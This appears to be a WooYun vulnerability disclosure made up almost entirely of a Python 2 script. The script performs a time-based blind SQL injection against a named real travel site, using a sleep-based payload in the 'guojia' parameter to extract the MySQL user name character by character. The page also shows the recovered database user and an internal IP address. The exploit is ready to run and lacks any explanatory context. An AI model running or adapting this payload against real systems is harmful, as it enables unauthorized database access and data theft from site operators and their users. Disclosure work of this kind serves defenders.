WooYun.org

traveldatacity_r@10.13.30.12

#encoding=utf-8
import httplib
import time
import string
import sys
import random
headers = {'Content-Type':'application/x-www-form-urlencoded'}
payloads = list(string.ascii_lowercase)
payloads += list(string.ascii_uppercase)
for i in range(0,10):
    payloads.append(str(i))
payloads += ['@','_', '.']
print 'Start to retrive MySQL User:'
user = ''
for i in range(1,29):
    for payload in payloads:
        try:
            conn = httplib.HTTPConnection('gonglue.travel.sina.cn', timeout=5)
            conn.request(method='GET',
                         url="/aj/list?guojia=aaa'XOR(if(ascii(mid(user(),%s,1))=%s,sleep(2),0))OR'bbb&p=2&type=guojia" % (i, ord(payload)),
                         headers=headers)
            start_time = time.time()
            conn.getresponse()
            conn.close()
            print '.',
        except:
            user += payload
            print '[in progress]', user
            break